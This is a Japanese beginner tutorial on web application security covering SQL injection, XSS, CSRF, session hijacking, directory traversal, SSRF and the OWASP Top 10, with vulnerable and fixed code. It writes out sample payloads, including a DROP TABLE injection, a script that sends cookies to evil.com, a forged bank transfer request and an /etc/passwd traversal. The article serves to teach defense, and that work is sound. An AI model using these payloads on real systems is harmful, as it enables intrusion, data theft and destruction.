1. 👋 はじめに
前回は認証・認可・暗号化・ソーシャルエンジニアリングを学びました。
今回はWebアプリケーション開発者が必ず知っておくべき攻撃と防御を解説します!
「SQLインジェクションってよく聞くけど何?」
「XSSとCSRFの違いって何?」
「OWASP Top 10って何のリスト?」
現場で実際に起きている攻撃を理解して、安全なWebアプリを作れるようになりましょう💪
この記事を読めば:
- ✅ SQLインジェクションの仕組みと対策がわかる
- ✅ XSS・CSRFの違いと対策がわかる
- ✅ セッション管理の重要性がわかる
- ✅ OWASP Top 10の概要がわかる
2. 💉 SQLインジェクション
SQLインジェクションとは?
悪意のあるSQL文を入力として送り込み、データベースを不正操作する攻撃です。
もっとわかりやすく表現すると、「入力欄を使って、アプリに『別の命令』を紛れ込ませる攻撃」 です。
Webアプリの脆弱性の中でも最も危険なもののひとつです。
まずSQLの基礎をおさえよう
SQLインジェクションを理解するには、まずSQLの基本を知っておく必要があります。
-- SELECT文の基本
SELECT * FROM users
WHERE username = 'alice'
AND password = 'password123'
-- 読み方:
-- SELECT * → すべての列を取得する
-- FROM users → usersテーブルから
-- WHERE username = 'alice' → ユーザー名がaliceの行だけ
-- AND password = 'password123' → かつパスワードがpassword123の行だけ
SQLのポイント:
' (シングルクォート) = 文字列の区切り文字
-- = コメント(以降の文字は無視される)
OR = 「または」の条件
1=1 = 常にTRUE(必ず成立する条件)
→ この4つを覚えておくと攻撃コードが読めるようになる!
攻撃の仕組み:ステップで理解する
ステップ①:普通のログイン処理
ユーザーが入力:
ユーザー名:alice
パスワード:password123
Webアプリが生成するSQL:
SELECT * FROM users
WHERE username = 'alice'
AND password = 'password123'
DBの判断:
usersテーブルから
ユーザー名が 'alice' で
パスワードが 'password123' の行を探す
→ 見つかった → ログイン成功 ✅
ステップ②:攻撃者が細工した入力を送る
攻撃者が入力:
ユーザー名:alice' OR '1'='1' --
パスワード:なんでもOK
Webアプリが生成するSQL:
SELECT * FROM users
WHERE username = 'alice' OR '1'='1' --'
AND password = 'なんでもOK'
ステップ③:SQLがどう解釈されるか分解する
生成されたSQLを分解してみよう:
WHERE username = 'alice' ← ① aliceというユーザーを探す
OR ← ② または
'1'='1' ← ③ 1=1(常にTRUE!)
-- ← ④ ここから先はコメント(無視される)
' ← 無視
AND password = 'なんでもOK' ← 無視(--より後なので)
結果:
「aliceというユーザーを探す」または「常にTRUE」
→ OR条件なので全行がTRUEになる!
→ パスワード条件はコメントアウトされて無視!
→ usersテーブルの全ユーザーが返ってくる 😱
→ 最初の1件(多くの場合は管理者)でログイン成功 😱
もっと危険な攻撃
【データの全件取得】
入力:' OR 1=1 --
生成されるSQL:
SELECT * FROM users WHERE username = '' OR 1=1 --'
分解:
WHERE username = '' ← 空のユーザー名(該当なし)
OR 1=1 ← または常にTRUE!
→ 全行がTRUEになる → 全ユーザー情報が取得できる 😱
被害:
→ 全ユーザーのID・パスワードハッシュ・メールアドレスなどが漏洩
【データの削除(DROP TABLE)】
入力:'; DROP TABLE users; --
生成されるSQL:
SELECT * FROM users WHERE username = '';
DROP TABLE users;
--'
分解:
SELECT * FROM users WHERE username = '';
← ① まず普通のSELECT文を実行
; ← SQL文の区切り(ここで1つ目のSQL終了)
DROP TABLE users;
← ② 次にusersテーブルを丸ごと削除! 💀
-- ← 残りはコメントアウト
被害:
→ ユーザーテーブルが完全に消える
→ 全ユーザーのログインが不可能になる
→ データの完全消失(バックアップがなければ復旧不可)
【他テーブルのデータ取得(UNION攻撃)】
入力:' UNION SELECT username, password FROM admin_users --
生成されるSQL:
SELECT * FROM users WHERE username = ''
UNION
SELECT username, password FROM admin_users --'
分解:
SELECT * FROM users WHERE username = ''
← ① usersから空のユーザー名を検索(結果なし)
UNION --← 2つのSELECT結果を結合する
SELECT username, password FROM admin_users
← ② 管理者テーブルの全データを取得! 😱
被害:
→ 管理者のID・パスワードハッシュが取得できる
→ 管理者になりすましてシステム全体を乗っ取れる
対策:プリペアドステートメント
💡 プリペアドステートメントとは?
通常のSQL実行:
「SQLの命令」と「データ」を一緒に送る
→ データの中に命令が混入できてしまう(SQLiの原因)
プリペアドステートメント:
① 「SQLの骨格(命令部分)」を先にDBに送る・コンパイルする
② 「データ」を後から別途バインドする
→ 命令は先に確定済み!
→ あとで来るのは「データ」だけ
→ データが何であってもSQL命令として解釈されない 🎯
# ❌ 脆弱なコード(文字列結合でSQL生成)
username = request.form['username']
password = request.form['password']
sql = f"SELECT * FROM users WHERE username = '{username}' AND password = '{password}'"
cursor.execute(sql)
# ✅ 安全なコード(プリペアドステートメント)
sql = "SELECT * FROM users WHERE username = ? AND password = ?"
cursor.execute(sql, (username, password))
# → ユーザーの入力は「データ」として扱われる
# → SQLの「命令」として解釈されない!
プリペアドステートメントの仕組み:
① SQLの「骨格」を先に送る(命令を確定)
SELECT * FROM users WHERE username = ? AND password = ?
↑ この時点でSQLの意味が確定する
② 「?」の部分にデータを別途バインド
alice, password123
③ DBはデータをSQL命令として解釈しない
→ ' OR '1'='1' を入れても「ただの文字列」として扱われる 🎯
→ 例:username に「alice' OR '1'='1' --」を入れても
そのまま「alice' OR '1'='1' --」というユーザー名として検索されるだけ
💡 ORMとは?
ORM(Object-Relational Mapper) とは、SQLを直接書かずにプログラムのオブジェクト操作でDBを扱える仕組みです。
ORMなし(SQLを直接書く):
sql = "SELECT * FROM users WHERE id = ?"
cursor.execute(sql, (user_id,))
ORMあり(Pythonのコードで書ける):
user = User.query.filter_by(id=user_id).first()
→ SQLを意識しなくてもDB操作ができる!
🛡️ ORMとSQLインジェクションの関係:
ほとんどのモダンなフレームワークのORMは
内部でプリペアドステートメントを使っている!
Django(Python) → デフォルトで安全
Rails(Ruby) → ActiveRecordが自動対策
Laravel(PHP) → Eloquentが自動対策
Spring(Java) → JPA/Hibernateが自動対策
Prisma(Node.js) → デフォルトで安全
→ ORMを正しく使っている限り
SQLインジェクションのリスクは大幅に軽減される! 🎉
⚠️ ただし注意が必要な場合もある:
└─ 生のSQLを書く機能(rawQueryなど)を使うとき
└─ ORMの機能を意図せず回避してしまうとき
→ ORM使用中でも「生SQL」を書くときは必ずプリペアドステートメントを!
SQLインジェクション対策まとめ
| 対策 | 説明 |
|---|---|
| ✅ プリペアドステートメント | 最も重要・SQLとデータを分離する |
| ✅ ORM の使用 | SQLを直接書かずに済む |
| ✅ 入力値のバリデーション | 想定外の文字列を弾く |
| ✅ 最小権限のDBユーザー | 万が一の被害を最小化 |
| ✅ エラーメッセージを隠す | DB構造を攻撃者に教えない |
3. 📜 XSS(クロスサイトスクリプティング)
XSSとは?
悪意のあるJavaScriptを被害者のブラウザ上で実行させる攻撃です。
攻撃者の目的:
└─ セッションIDを盗む(クッキーに保存されたセッション情報を窃取してなりすましログイン)
└─ フィッシングサイトへ誘導
└─ マルウェアをダウンロードさせる
└─ キーロガーでパスワードを盗む
反射型XSS(Reflected XSS)
【攻撃の流れ】
① 攻撃者が悪意あるURLを作成
https://example.com/search?q=<script>document.location='https://evil.com/steal?cookie='+document.cookie</script>
② URLをメールやSNSで被害者に送る
③ 被害者がURLをクリック
④ example.comがURLのパラメータをそのままページに表示
⑤ 被害者のブラウザでスクリプトが実行される!
→ クッキー情報が攻撃者のサーバーに送られる 😱
蓄積型XSS(Stored XSS)
【攻撃の流れ】
① 攻撃者がコメント欄に悪意あるスクリプトを投稿
コメント:「いい記事ですね!
<script>悪意あるコード</script>」
② DBにスクリプトが保存される
③ 他のユーザーがそのページを開く
④ スクリプトが全訪問者のブラウザで実行される 😱
→ 蓄積型はページを見た全員が被害を受ける!
XSSの対策
# ❌ 脆弱なコード(ユーザー入力をそのまま出力)
name = request.args.get('name')
return f"<p>こんにちは、{name}さん!</p>"
# ✅ 安全なコード(HTMLエスケープ)
from html import escape
name = escape(request.args.get('name'))
return f"<p>こんにちは、{name}さん!</p>"
# エスケープの例:
# <script> → <script>
# ブラウザは < を「<」と表示するが
# HTMLタグとして解釈しない!
CSP(コンテンツセキュリティポリシー)
CSP = 「このページでは〇〇からのスクリプトしか実行しない」
という宣言をHTTPヘッダーで送る仕組み
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com
→ 外部から注入されたスクリプトはブロックされる!
→ XSSの影響を大幅に軽減できる
| 対策 | 説明 |
|---|---|
| ✅ 出力時のHTMLエスケープ |
< > " などを無害化 |
| ✅ CSPの設定 | 信頼できるスクリプトだけ実行を許可 |
| ✅ HttpOnly属性 | JSからCookieを読み取り不可にする |
| ✅ テンプレートエンジンの活用 | 自動エスケープ機能を使う |
4. 🔄 CSRF(クロスサイトリクエストフォージェリ)
CSRFとは?
ログイン済みのユーザーに意図しないリクエストを送らせる攻撃です。
XSSとの違い:
XSS → 悪意あるスクリプトをブラウザで実行させる
CSRF → ログイン済みの状態を悪用して
意図しない操作を実行させる
攻撃の仕組み
【シナリオ:銀行サイトへの攻撃】
① 被害者がbank.comにログイン済み
(ブラウザにセッションクッキーが保存されている)
② 攻撃者が罠サイトを作成
evil.com のページに以下を仕込む:
<img src="https://bank.com/transfer?to=attacker&amount=100000">
③ 被害者がevil.comを閲覧
④ ブラウザが自動的にbank.comへリクエストを送信
→ セッションクッキーも一緒に送られる!
⑤ bank.comはログイン済みの正規のリクエストと判断
→ 攻撃者の口座に10万円が振り込まれる 😱
CSRFの対策
✅ CSRFトークン(最も重要な対策)
仕組み:
① サーバーがランダムなトークンを生成
② フォームに隠しフィールドとして埋め込む
<input type="hidden" name="csrf_token" value="ランダムな文字列">
③ フォーム送信時にトークンも一緒に送る
④ サーバーがトークンを検証
→ 一致しなければリクエストを拒否!
なぜ有効?
悪意あるサイトはトークンの値を知る方法がない
→ 正しいトークンが送れない → リクエストが拒否される 🎯
# FlaskでのCSRFトークン実装例
from flask_wtf.csrf import CSRFProtect
app = Flask(__name__)
csrf = CSRFProtect(app)
# フォームに自動でCSRFトークンが追加される
| 対策 | 説明 |
|---|---|
| ✅ CSRFトークン | フォームにランダムトークンを埋め込む |
| ✅ SameSite Cookie | 他サイトからのリクエストにCookieを送らない |
| ✅ Refererヘッダーの検証 | リクエスト元を確認する |
| ✅ 重要操作に再認証 | 送金などはパスワードを再入力させる |
5. 🍪 セッション管理の脆弱性
セッションとクッキーとは?
まず「セッション」と「クッキー」は別々の概念です。混同されやすいので整理しましょう。
🗂️ セッション(Session)
└─ サーバー側でユーザーの状態を管理する仕組み
└─ 「誰がログイン中か」「カートに何が入っているか」を
サーバーのメモリやDBに保存する
└─ セッションIDで管理(例:abc123xyz)
🍪 クッキー(Cookie)
└─ ブラウザ側に情報を保存する仕組み
└─ サーバーが「Set-Cookieヘッダー」で
ブラウザに保存させる小さなデータ
└─ 次のリクエストから自動で送信される
【2つの関係】
サーバー:セッションID「abc123xyz」をセッションに紐づけて保存
↓ Set-Cookie: session_id=abc123xyz
ブラウザ:クッキーにセッションIDを保存
↓ Cookie: session_id=abc123xyz(次のリクエストに自動添付)
サーバー:クッキーのセッションIDで「この人はAliceさん」と識別
→ セッション = サーバー側の状態管理
→ クッキー = セッションIDをブラウザに保存・送信するための入れ物
セッションの仕組み
HTTPはステートレス(状態を持たない)プロトコル
→ リクエストのたびに「誰?」がわからない
セッションの仕組み:
① ログイン成功
② サーバーがセッションIDを発行・セッション情報をサーバーに保存
③ ブラウザのクッキーにセッションIDを保存
④ 以後のリクエストにクッキー経由でセッションIDを添付
⑤ サーバーがセッションIDで「この人はAliceさん」と識別
セッションIDは「ログイン状態の鍵」!
セッションハイジャック
😰 セッションIDが盗まれると…
攻撃者がセッションIDを入手
↓
そのセッションIDを使ってリクエスト
↓
サーバーはAliceさんとして処理してしまう!
セッションIDの盗み方:
└─ XSSでCookieを盗む
└─ 通信の盗聴(HTTPSを使っていない場合)
└─ 推測しやすいセッションIDの総当たり
セッション管理の対策
✅ セッションIDの安全な管理
□ 十分にランダムなセッションIDを生成(128bit以上)
□ HTTPS必須(通信経路での盗聴を防ぐ)
□ Secure属性:HTTPSのみでCookieを送信
□ HttpOnly属性:JavaScriptからCookieを読み取り不可
□ SameSite属性:CSRF対策
Set-Cookie: session_id=abc123; Secure; HttpOnly; SameSite=Strict
□ ログイン後にセッションIDを再生成(セッション固定攻撃を防ぐ)
□ 一定時間後にセッションを期限切れにする
□ ログアウト時にサーバー側のセッションを削除
6. 📂 ディレクトリトラバーサル
攻撃の仕組み
😰 ディレクトリトラバーサルとは?
Webアプリがファイルパスを外部から受け取る場合
`../` を使って本来アクセスできない
ディレクトリのファイルを読み取る攻撃
例:
正常なリクエスト:
https://example.com/file?name=report.pdf
→ /var/www/files/report.pdf を返す
攻撃リクエスト:
https://example.com/file?name=../../../../etc/passwd
→ /etc/passwd(Linuxのユーザー情報)を返す 😱
→ AWSの認証情報ファイルを読まれる危険も
対策
✅ 対策:
□ ユーザー入力をファイルパスに直接使わない
□ パスを正規化して想定ディレクトリ外をブロック
□ ホワイトリストで許可するファイルを限定する
□ Webサーバーのプロセスに最小権限を付与
7. 🔓 安全でないデシリアライゼーション
デシリアライゼーションとは?
オブジェクト(データ構造)を
バイト列 → 元のオブジェクトに戻す処理
😰 脆弱性の仕組み:
攻撃者が悪意あるデータをシリアライズして送信
↓
アプリがデシリアライズ
↓
悪意あるコードが実行される!
✅ 対策:
□ 信頼できないデータのデシリアライズを避ける
□ JWTなど安全な形式を使う
□ デシリアライズ前にデータを検証する
8. 🌐 OWASP Top 10
OWASPとは?
OWASP(Open Web Application Security Project) は、Webアプリケーションセキュリティの向上を目的とした非営利組織です。数年ごとに「最も危険なWebアプリの脆弱性Top 10」を発表しています。
OWASP Top 10(2021年版)
| 順位 | カテゴリ | 概要 |
|---|---|---|
| A01 | 🔓 アクセス制御の不備 | 権限のないリソースへのアクセスが可能 |
| A02 | 🔐 暗号化の失敗 | 機密データが暗号化されていない・弱い暗号 |
| A03 | 💉 インジェクション | SQLi・コマンドインジェクションなど |
| A04 | 🏗️ 安全でない設計 | セキュリティを考慮しない設計そのものの問題 |
| A05 | ⚙️ セキュリティの設定ミス | デフォルト設定・不要な機能の有効化など |
| A06 | 📦 脆弱なコンポーネント | 古いライブラリ・フレームワークの使用 |
| A07 | 🪪 認証・識別の失敗 | 弱いパスワード・MFAなし・セッション管理の不備 |
| A08 | 🔄 ソフトウェアの完全性の失敗 | 安全でないCI/CDパイプライン・デシリアライゼーション |
| A09 | 📋 ログ・監視の失敗 | 攻撃を検知・記録できない |
| A10 | 🌐 SSRF | サーバー側からの偽リクエスト |
各項目を深掘り
A01:アクセス制御の不備(最も多い脆弱性!)
😰 具体例:
URLを変えるだけで他人のデータが見える
/user/1001/profile → 自分のプロフィール
/user/1002/profile → 他人のプロフィールが見える!
(IDOR:Insecure Direct Object Referenceと呼ばれる)
管理者ページにログインなしでアクセスできる
/admin/users → 認証なしでユーザー一覧が見える
✅ 対策:
□ すべてのAPIエンドポイントで認可チェック
□ デフォルトで「拒否」→ 必要なものだけ許可
□ ユーザーが自分のデータだけ操作できるか確認
A05:セキュリティの設定ミス
😰 よくある設定ミス:
□ デフォルトのパスワードを変更していない
□ 本番環境でデバッグモードが有効
□ エラーメッセージにスタックトレースを表示
□ 不要なポートが開放されている
□ S3バケットが誰でも読み取り可能になっている
✅ 対策:
□ セキュリティのベースライン設定を決める
□ 本番・開発環境の設定を分ける
□ 定期的にセキュリティスキャンを実施
A06:脆弱なコンポーネント
😰 実際に起きた事例:
Log4Shell(2021年):
Javaのログライブラリ「Log4j」の脆弱性
→ 世界中のサーバーが影響を受けた
→ 修正パッチが出るまでの数日間で
大量のシステムが攻撃された
なぜ危険?
└─ 依存ライブラリの脆弱性は
自分のコードを書き換えても直らない
└─ どこで使っているかわからないことも
✅ 対策:
□ 依存パッケージを定期的に更新する
□ npm audit・pip-audit等でスキャン
□ SBOM(ソフトウェア部品表)を管理する
□ GitHub Dependabotなどの自動更新ツールを活用
A10:SSRF(サーバーサイドリクエストフォージェリ)
😰 SSRFとは?
サーバーに内部ネットワークへのリクエストを
代理で送らせる攻撃
例:URLプレビュー機能を悪用
正常:https://example.com のプレビュー画像を取得
攻撃:http://169.254.169.254/latest/meta-data/
↑ AWSのメタデータエンドポイント!
→ サーバーがAWS認証情報を取得して返す 😱
✅ 対策:
□ URLのホワイトリストを設定
□ 内部IPアドレス・プライベートIPへのアクセスを拒否
□ クラウド環境ではIMDSv2を使用(AWSの場合)
9. 🛡️ 安全なWebアプリを作るための原則
① 入力値は信頼しない
└─ すべてのユーザー入力を検証・サニタイズ
└─ 「悪意ある入力が来る前提」で設計する
② 出力時にエスケープする
└─ HTMLに出力するときはHTMLエスケープ
└─ SQLに渡すときはプリペアドステートメント
└─ シェルコマンドに渡すときはエスケープ
③ 最小権限を徹底する
└─ DBユーザーは必要な操作だけ許可
└─ APIはアクセスできるデータを必要最小限に
④ エラーメッセージに情報を入れない
└─ 「ユーザーが見つかりません」ではなく
「IDまたはパスワードが違います」
└─ スタックトレースを本番で表示しない
⑤ ライブラリ・フレームワークを最新に保つ
└─ 依存関係の脆弱性は自分のコードと同じくらい危険
10. 🎯 まとめ
| 攻撃 | 仕組み | 主な対策 |
|---|---|---|
| 💉 SQLインジェクション | 悪意あるSQLを入力してDB操作 | プリペアドステートメント・ORM |
| 📜 XSS(反射型) | 悪意あるURLのスクリプトを実行 | HTMLエスケープ・CSP |
| 📜 XSS(蓄積型) | DBに保存されたスクリプトを実行 | HTMLエスケープ・入力検証 |
| 🔄 CSRF | ログイン状態を悪用した意図しない操作 | CSRFトークン・SameSite Cookie |
| 🍪 セッションハイジャック | セッションIDを盗んでなりすまし | Secure/HttpOnly属性・HTTPS |
| 📂 ディレクトリトラバーサル |
../でシステムファイルを読み取り |
パスのバリデーション・最小権限 |
| 🌐 SSRF | サーバーに内部リクエストを代理送信 | URLホワイトリスト・内部IPブロック |
Webアプリのセキュリティは「攻撃パターンを知ること」が第一歩です。SQLi・XSS・CSRFの3つを理解するだけで、開発時の意識が大きく変わります💪
次回はネットワークセキュリティを解説します!ファイアウォール・IDS/IPS・WAF・DDoS・マルウェアなど、インフラ側のセキュリティを詳しく学びます🌟
💬 質問や感想があれば、コメント欄でお気軽にどうぞ!
👍 役に立ったら、いいね&ストックをお願いします!
🎓 ここまで読んでくださって、本当にありがとうございました!
🔗 シリーズ記事
- 【第一回】CIA三原則・脅威・脆弱性・リスクをやさしく解説
- 【第二回】認証・認可・暗号化・ソーシャルエンジニアリング
- 【第三回】Webアプリケーションの攻撃と防御(この記事)
- 【第四回】ネットワークセキュリティ(近日公開)
- 【第五回】セキュリティ設計と運用(近日公開)
- 【第六回】最新のセキュリティトレンド(近日公開)